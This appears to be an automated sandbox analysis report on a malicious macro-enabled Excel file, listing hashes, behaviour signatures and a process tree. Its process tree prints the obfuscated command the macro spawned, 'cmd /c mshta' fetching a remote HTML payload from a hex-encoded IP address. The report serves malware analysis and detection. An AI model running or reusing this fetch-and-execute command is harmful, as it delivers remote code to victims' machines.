Analysis
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max time kernel
144s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
19-01-2022 07:28
Behavioral task
behavioral1
Sample
d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm
Resource
win10-en-20211208
General
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Target
d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm
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Size
114KB
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MD5
f8ecaf3d4168b075f418c121a763ae0f
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SHA1
cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3
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SHA256
d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb
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SHA512
bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60
Malware Config
Extracted
http://0x5cff39c3/sec/sec.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3192 4048 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 36 2960 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4048 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE 4048 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 4048 wrote to memory of 3192 4048 EXCEL.EXE cmd.exe PID 4048 wrote to memory of 3192 4048 EXCEL.EXE cmd.exe PID 3192 wrote to memory of 2960 3192 cmd.exe mshta.exe PID 3192 wrote to memory of 2960 3192 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/sec.html3⤵
- Blocklisted process makes network request
PID:2960